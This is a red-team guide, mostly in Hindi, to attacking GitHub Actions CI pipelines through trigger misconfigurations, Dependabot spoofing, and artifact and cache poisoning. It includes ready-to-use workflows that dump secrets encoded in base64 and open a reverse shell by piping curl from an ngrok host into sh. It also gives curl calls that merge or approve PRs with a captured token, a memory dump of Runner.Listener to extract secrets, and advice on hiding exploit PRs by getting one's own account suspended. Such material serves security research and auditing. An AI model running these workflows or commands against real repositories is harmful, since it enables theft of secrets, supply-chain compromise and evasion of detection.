Github Actions का दुरुपयोग

Reading time: 23 minutes

उपकरण

निम्नलिखित उपकरण Github Action वर्कफ़्लो खोजने और यहां तक कि कमजोर वर्कफ़्लो खोजने के लिए उपयोगी हैं:

• https://github.com/CycodeLabs/raven
• https://github.com/praetorian-inc/gato
• https://github.com/AdnaneKhan/Gato-X
• https://github.com/carlospolop/PurplePanda
• https://github.com/zizmorcore/zizmor - इसके चेकलिस्ट को भी देखें https://docs.zizmor.sh/audits

बुनियादी जानकारी

इस पृष्ठ पर आप पाएंगे:

• एक सारांश सभी प्रभावों का जब एक हमलावर Github Action तक पहुँचने में सफल होता है
• एक्शन तक पहुँचने के विभिन्न तरीके:
• एक्शन बनाने के लिए अनुमतियाँ होना
• पुल अनुरोध से संबंधित ट्रिगर्स का दुरुपयोग करना
• अन्य बाहरी पहुँच तकनीकों का दुरुपयोग करना
• पहले से समझौता किए गए रेपो से पिवोटिंग करना
• अंत में, एक्शन के अंदर से दुरुपयोग करने के लिए पोस्ट-एक्सप्लॉइटेशन तकनीकों के बारे में एक अनुभाग (उपरोक्त प्रभावों का कारण)

प्रभावों का सारांश

Github Actions के बारे में बुनियादी जानकारी के लिए एक परिचय।

यदि आप GitHub Actions में मनमाना कोड निष्पादित कर सकते हैं एक रेपो के भीतर, तो आप सक्षम हो सकते हैं:

• गुप्त जानकारी चुराना जो पाइपलाइन में माउंट की गई है और पाइपलाइन के विशेषाधिकारों का दुरुपयोग करके बाहरी प्लेटफार्मों, जैसे AWS और GCP, तक अनधिकृत पहुँच प्राप्त करना।
• **डिप्लॉयमेंट्स और अन्य कलाकृतियों को समझौता करना।
• यदि पाइपलाइन संपत्तियों को तैनात या संग्रहीत करती है, तो आप अंतिम उत्पाद को बदल सकते हैं, जिससे एक सप्लाई चेन हमला सक्षम हो सकता है।
• कस्टम वर्कर्स में कोड निष्पादित करना ताकि कंप्यूटिंग शक्ति का दुरुपयोग किया जा सके और अन्य सिस्टम में पिवोट किया जा सके।
• GITHUB_TOKEN से संबंधित अनुमतियों के आधार पर रेपो कोड को ओवरराइट करना।

GITHUB_TOKEN

यह "गुप्त" (${{ secrets.GITHUB_TOKEN }} और ${{ github.token }} से आने वाला) तब दिया जाता है जब व्यवस्थापक इस विकल्प को सक्षम करता है:

यह टोकन वही है जो एक Github एप्लिकेशन उपयोग करेगा, इसलिए यह समान एंडपॉइंट्स तक पहुँच सकता है: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

आप इस टोकन की संभावित अनुमतियों को देख सकते हैं: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

ध्यान दें कि टोकन काम पूरा होने के बाद समाप्त हो जाता है।
ये टोकन इस तरह दिखते हैं: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

इस टोकन के साथ आप कुछ दिलचस्प चीजें कर सकते हैं:

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"

# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'

# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'

name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

यह संभव है कि आप अन्य उपयोगकर्ताओं के रिपॉजिटरी में Github Token को दिए गए अनुमतियों की जांच करें एक्शन के लॉग की जांच करके:

अनुमत निष्पादन

रिपॉजिटरी निर्माण से निष्पादन

यदि संगठन के सदस्य नए रिपॉजिटरी बना सकते हैं और आप github एक्शन निष्पादित कर सकते हैं, तो आप एक नया रिपॉजिटरी बना सकते हैं और संगठन स्तर पर सेट किए गए रहस्यों को चुरा सकते हैं।

नए शाखा से निष्पादन

यदि आप एक रिपॉजिटरी में एक नई शाखा बना सकते हैं जिसमें पहले से एक Github Action कॉन्फ़िगर किया गया है, तो आप इसे संशोधित कर सकते हैं, सामग्री अपलोड कर सकते हैं, और फिर नई शाखा से उस एक्शन को निष्पादित कर सकते हैं। इस तरह आप रिपॉजिटरी और संगठन स्तर के रहस्यों को निकाल सकते हैं (लेकिन आपको यह जानना होगा कि उन्हें क्या कहा जाता है)।

आप संशोधित एक्शन को हाथ से निष्पादित कर सकते हैं, जब PR बनाया जाता है या जब कुछ कोड पुश किया जाता है (इस पर निर्भर करता है कि आप कितने शोर करना चाहते हैं):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches

Forked Execution

pull_request

कार्यप्रवाह ट्रिगर pull_request हर बार कार्यप्रवाह को निष्पादित करेगा जब एक पुल अनुरोध प्राप्त होता है, कुछ अपवादों के साथ: डिफ़ॉल्ट रूप से यदि यह पहली बार है जब आप सहयोग कर रहे हैं, तो कुछ रखरखावकर्ता को कार्यप्रवाह के निष्पादन को स्वीकृत करने की आवश्यकता होगी:

इसके अलावा, डिफ़ॉल्ट रूप से लिखने की अनुमति और गुप्त पहुंच को लक्षित रिपॉजिटरी में रोकता है जैसा कि docs में उल्लेख किया गया है:

GITHUB_TOKEN को छोड़कर, गुप्त को रनर को नहीं भेजा जाता जब एक कार्यप्रवाह फोर्क की गई रिपॉजिटरी से ट्रिगर किया जाता है। **GITHUB_TOKEN में पुल अनुरोधों में पढ़ने की केवल अनुमति होती है फोर्क की गई रिपॉजिटरी से।

एक हमलावर Github Action की परिभाषा को संशोधित कर सकता है ताकि मनमाने कार्यों को निष्पादित किया जा सके और मनमाने कार्यों को जोड़ा जा सके। हालाँकि, वह गुप्त चुराने या रिपॉजिटरी को ओवरराइट करने में सक्षम नहीं होगा क्योंकि उल्लेखित सीमाएँ हैं।

चूंकि हमलावर द्वारा निष्पादित कोड पर भी नियंत्रण होता है, भले ही GITHUB_TOKEN पर गुप्त या लिखने की अनुमति न हो, एक हमलावर उदाहरण के लिए दुष्ट कलाकृतियों को अपलोड कर सकता है।

pull_request_target

कार्यप्रवाह ट्रिगर pull_request_target को लक्षित रिपॉजिटरी में लिखने की अनुमति और गुप्तों तक पहुंच होती है (और अनुमति नहीं मांगता)।

ध्यान दें कि कार्यप्रवाह ट्रिगर pull_request_target बेस संदर्भ में चलता है और PR द्वारा दिए गए संदर्भ में नहीं (ताकि अविश्वसनीय कोड को निष्पादित न किया जा सके)। pull_request_target के बारे में अधिक जानकारी के लिए docs देखें।
इसके अलावा, इस विशिष्ट खतरनाक उपयोग के बारे में अधिक जानकारी के लिए इस github ब्लॉग पोस्ट की जांच करें।

यह लग सकता है कि चूंकि निष्पादित कार्यप्रवाह वह है जो बेस में परिभाषित है और PR में नहीं है, इसलिए pull_request_target का उपयोग करना सुरक्षित है, लेकिन कुछ मामले हैं जहाँ यह नहीं है।

और यह एक गुप्तों तक पहुंच होगी।

workflow_run

workflow_run ट्रिगर एक कार्यप्रवाह को एक अलग कार्यप्रवाह से चलाने की अनुमति देता है जब यह पूर्ण, अनुरोधित या प्रगति में हो।

इस उदाहरण में, एक कार्यप्रवाह को "Run Tests" कार्यप्रवाह के पूरा होने के बाद चलाने के लिए कॉन्फ़िगर किया गया है:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Moreover, according to the docs: The workflow started by the workflow_run event is able to access secrets and write tokens, even if the previous workflow was not.

This kind of workflow could be attacked if it's depending on a workflow that can be triggered by an external user via pull_request or pull_request_target. A couple of vulnerable examples can be found this blog. The first one consist on the workflow_run triggered workflow downloading out the attackers code: ${{ github.event.pull_request.head.sha }}
The second one consist on passing an artifact from the untrusted code to the workflow_run workflow and using the content of this artifact in a way that makes it vulnerable to RCE.

workflow_call

TODO

TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR

Abusing Forked Execution

We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:

Untrusted checkout execution

In the case of pull_request, the workflow is going to be executed in the context of the PR (so it'll execute the malicious PRs code), but someone needs to authorize it first and it will run with some limitations.

In case of a workflow using pull_request_target or workflow_run that depends on a workflow that can be triggered from pull_request_target or pull_request the code from the original repo will be executed, so the attacker cannot control the executed code.

# INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

The potentially untrusted code is being run during npm install or npm build as the build scripts and referenced packages are controlled by the author of the PR.

Context Script Injections

Note that there are certain github contexts whose values are controlled by the user creating the PR. If the github action is using that data to execute anything, it could lead to arbitrary code execution:

Gh Actions - Context Script Injections

GITHUB_ENV Script Injection

From the docs: You can make an environment variable available to any subsequent steps in a workflow job by defining or updating the environment variable and writing this to the GITHUB_ENV environment file.

If an attacker could inject any value inside this env variable, he could inject env variables that could execute code in following steps such as LD_PRELOAD or NODE_OPTIONS.

For example (this and this), imagine a workflow that is trusting an uploaded artifact to store its content inside GITHUB_ENV env variable. An attacker could upload something like this to compromise it:

Dependabot and other trusted bots

As indicated in this blog post, several organizations have a Github Action that merges any PRR from dependabot[bot] like in:

on: pull_request_target
jobs:
auto-merge:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m

यह एक समस्या है क्योंकि github.actor फ़ील्ड उस उपयोगकर्ता को दर्शाती है जिसने वर्कफ़्लो को ट्रिगर करने वाली नवीनतम घटना का कारण बना। और dependabot[bot] उपयोगकर्ता को PR को संशोधित करने के कई तरीके हैं। उदाहरण के लिए:

• पीड़ित रिपॉजिटरी को फोर्क करें
• अपनी कॉपी में दुर्भावनापूर्ण पेलोड जोड़ें
• अपने फोर्क पर एक पुरानी निर्भरता जोड़कर Dependabot को सक्षम करें। Dependabot एक शाखा बनाएगा जो दुर्भावनापूर्ण कोड के साथ निर्भरता को ठीक करेगा।
• उस शाखा से पीड़ित रिपॉजिटरी के लिए एक पुल अनुरोध खोलें (PR उपयोगकर्ता द्वारा बनाया जाएगा इसलिए अभी कुछ नहीं होगा)
• फिर, हमलावर अपने फोर्क में Dependabot द्वारा खोले गए प्रारंभिक PR पर वापस जाता है और @dependabot recreate चलाता है
• फिर, Dependabot उस शाखा में कुछ क्रियाएँ करता है, जिसने पीड़ित रिपॉजिटरी पर PR को संशोधित किया, जिससे dependabot[bot] नवीनतम घटना का अभिनेता बन जाता है जिसने वर्कफ़्लो को ट्रिगर किया (और इसलिए, वर्कफ़्लो चलता है)।

आगे बढ़ते हैं, अगर Github Action के बजाय एक कमांड इंजेक्शन होता जैसे:

on: pull_request_target
jobs:
just-printing-stuff:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}

अच्छा, मूल ब्लॉगपोस्ट इस व्यवहार का दुरुपयोग करने के लिए दो विकल्प प्रस्तुत करता है, जिसमें दूसरा है:

• पीड़ित रिपॉजिटरी को फोर्क करें और कुछ पुराने निर्भरता के साथ Dependabot को सक्षम करें।
• दुर्भावनापूर्ण शेल इंजेक्शन कोड के साथ एक नई शाखा बनाएं।
• उस शाखा को रिपॉजिटरी की डिफ़ॉल्ट शाखा के रूप में बदलें।
• इस शाखा से पीड़ित रिपॉजिटरी के लिए एक PR बनाएं।
• PR में @dependabot merge चलाएं जिसे Dependabot ने अपने फोर्क में खोला था।
• Dependabot आपके फोर्क की डिफ़ॉल्ट शाखा में अपने परिवर्तनों को मर्ज करेगा, पीड़ित रिपॉजिटरी में PR को अपडेट करेगा और अब dependabot[bot] को कार्यप्रवाह को ट्रिगर करने वाले नवीनतम घटना का अभिनेता बना देगा और एक दुर्भावनापूर्ण शाखा नाम का उपयोग करेगा।

कमजोर तृतीय पक्ष Github क्रियाएँ

dawidd6/action-download-artifact

जैसा कि इस ब्लॉग पोस्ट में उल्लेख किया गया है, यह Github क्रिया विभिन्न कार्यप्रवाहों और यहां तक कि रिपॉजिटरी से कलाकृतियों तक पहुंचने की अनुमति देती है।

समस्या यह है कि यदि path पैरामीटर सेट नहीं किया गया है, तो कलाकृति वर्तमान निर्देशिका में निकाली जाती है और यह उन फ़ाइलों को ओवरराइट कर सकती है जो बाद में कार्यप्रवाह में उपयोग की जा सकती हैं या यहां तक कि निष्पादित की जा सकती हैं। इसलिए, यदि कलाकृति कमजोर है, तो एक हमलावर इसका दुरुपयोग करके अन्य कार्यप्रवाहों को समझौता कर सकता है जो कलाकृति पर भरोसा करते हैं।

कमजोर कार्यप्रवाह का उदाहरण:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

इस वर्कफ़्लो के साथ हमला किया जा सकता है:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

अन्य बाहरी पहुँच

हटाए गए Namespace Repo Hijacking

यदि एक खाता अपना नाम बदलता है, तो कुछ समय बाद कोई अन्य उपयोगकर्ता उस नाम के साथ एक खाता पंजीकृत कर सकता है। यदि एक रिपॉजिटरी के पास नाम परिवर्तन से पहले 100 से कम सितारे थे, तो Github नए पंजीकृत उपयोगकर्ता को उसी नाम के साथ एक रिपॉजिटरी बनाने की अनुमति देगा जो हटाई गई थी।

यदि अन्य रिपॉजिटरी इस उपयोगकर्ता के रिपॉजिटरी से निर्भरताएँ का उपयोग कर रही हैं, तो एक हमलावर उन्हें हाइजैक कर सकेगा। यहाँ आपके पास एक अधिक पूर्ण व्याख्या है: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/

Repo Pivoting

कैश पॉइज़निंग

एक कैश समान शाखा में वर्कफ़्लो रन के बीच बनाए रखा जाता है। जिसका अर्थ है कि यदि एक हमलावर एक पैकेज को समझौता करता है जो फिर कैश में संग्रहीत होता है और डाउनलोड और अधिक विशेषाधिकार प्राप्त वर्कफ़्लो द्वारा निष्पादित किया जाता है, तो वह उस वर्कफ़्लो को भी समझौता कर सकेगा।

GH Actions - Cache Poisoning

आर्टिफैक्ट पॉइज़निंग

वर्कफ़्लो अन्य वर्कफ़्लो और यहां तक कि रिपॉजिटरी से आर्टिफैक्ट्स का उपयोग कर सकते हैं, यदि एक हमलावर Github Action को समझौता करने में सफल होता है जो एक आर्टिफैक्ट अपलोड करता है जो बाद में किसी अन्य वर्कफ़्लो द्वारा उपयोग किया जाता है, तो वह अन्य वर्कफ़्लो को समझौता कर सकता है:

Gh Actions - Artifact Poisoning

एक क्रिया से पोस्ट एक्सप्लॉइटेशन

OIDC के माध्यम से AWS और GCP तक पहुँच

निम्नलिखित पृष्ठों की जाँच करें:

AWS - Federation Abuse

GCP - Federation Abuse

रहस्यों तक पहुँच

यदि आप एक स्क्रिप्ट में सामग्री इंजेक्ट कर रहे हैं, तो यह जानना दिलचस्प है कि आप रहस्यों तक कैसे पहुँच सकते हैं:

• यदि रहस्य या टोकन को पर्यावरण चर में सेट किया गया है, तो इसे printenv का उपयोग करके सीधे पर्यावरण के माध्यम से एक्सेस किया जा सकता है।

name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

• यदि गुप्त को एक्सप्रेशन में सीधे उपयोग किया जाता है, तो उत्पन्न शेल स्क्रिप्ट डिस्क पर संग्रहीत होती है और इसे एक्सेस किया जा सकता है।

cat /home/runner/work/_temp/*

- JavaScript क्रियाओं के लिए गुप्त और पर्यावरण चर के माध्यम से भेजे जाते हैं
- ```bash
ps axe | grep node

• एक कस्टम क्रिया के लिए, जोखिम इस पर निर्भर कर सकता है कि एक प्रोग्राम ने आर्गुमेंट से प्राप्त गुप्त का उपयोग कैसे किया है:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

स्वयं-होस्टेड रनर्स का दुरुपयोग

यह पता लगाने का तरीका कि कौन सी Github Actions गैर-github अवसंरचना में निष्पादित हो रही हैं वह है कि Github Action कॉन्फ़िगरेशन yaml में runs-on: self-hosted के लिए खोजें।

स्वयं-होस्टेड रनर्स को अतिरिक्त संवेदनशील जानकारी तक पहुंच हो सकती है, अन्य नेटवर्क सिस्टम (नेटवर्क में कमजोर एंडपॉइंट? मेटाडेटा सेवा?) या, भले ही यह अलग-थलग और नष्ट हो जाए, एक से अधिक क्रियाएं एक ही समय में चलाई जा सकती हैं और दुर्भावनापूर्ण एक दूसरे के गुप्त चुरा सकती है।

स्वयं-होस्टेड रनर्स में यह भी संभव है कि _Runner.Listener_** प्रक्रिया** से गुप्त प्राप्त करें जो किसी भी चरण पर कार्यप्रवाह के सभी गुप्त को अपनी मेमोरी को डंप करके रखेगा:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

चेक करें इस पोस्ट में अधिक जानकारी के लिए।

Github Docker Images Registry

यह संभव है कि Github actions बनाई जाएं जो Github के अंदर एक Docker इमेज बनाएं और स्टोर करें।
एक उदाहरण निम्नलिखित विस्तार योग्य में पाया जा सकता है:

[...]

- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1

- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}

- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

जैसा कि आप पिछले कोड में देख सकते हैं, Github रजिस्ट्री ghcr.io पर होस्ट की गई है।

एक उपयोगकर्ता जिसे रेपो पर पढ़ने की अनुमति है, वह फिर एक व्यक्तिगत एक्सेस टोकन का उपयोग करके Docker इमेज डाउनलोड कर सकेगा:

echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

फिर, उपयोगकर्ता Docker इमेज लेयर्स में लीक हुए रहस्यों की खोज कर सकता है:

Docker Forensics - HackTricks

Github Actions लॉग में संवेदनशील जानकारी

यहां तक कि अगर Github क्रियाओं के लॉग में रहस्यमय मानों का पता लगाने और उन्हें दिखाने से बचने की कोशिश करता है, तो अन्य संवेदनशील डेटा जो क्रिया के निष्पादन में उत्पन्न हो सकता है, छिपा नहीं होगा। उदाहरण के लिए, एक JWT जो एक रहस्यमय मान के साथ हस्ताक्षरित है, वह तब तक छिपा नहीं होगा जब तक कि इसे विशेष रूप से कॉन्फ़िगर नहीं किया गया हो।

अपने निशान छुपाना

(तकनीक यहां से) सबसे पहले, कोई भी PR जो उठाया गया है, वह Github में सार्वजनिक रूप से और लक्षित GitHub खाते के लिए स्पष्ट रूप से दिखाई देता है। GitHub में डिफ़ॉल्ट रूप से, हम इंटरनेट से एक PR को हटा नहीं सकते, लेकिन इसमें एक मोड़ है। Github द्वारा सस्पेंड किए गए खातों के लिए, उनके सभी PRs स्वचालित रूप से हटा दिए जाते हैं और इंटरनेट से हटा दिए जाते हैं। इसलिए अपनी गतिविधियों को छिपाने के लिए आपको या तो अपने GitHub खाते को सस्पेंड कराना होगा या अपने खाते को फ्लैग कराना होगा। यह आपकी सभी गतिविधियों को GitHub से इंटरनेट से छिपा देगा (बुनियादी रूप से आपके सभी एक्सप्लॉइट PR को हटा देगा)

GitHub में एक संगठन खातों की रिपोर्ट करने में बहुत सक्रिय है। आपको बस "कुछ चीजें" Issue में साझा करनी हैं और वे सुनिश्चित करेंगे कि आपका खाता 12 घंटे में सस्पेंड हो जाए :p और वहां आपने, अपने एक्सप्लॉइट को github पर अदृश्य बना दिया।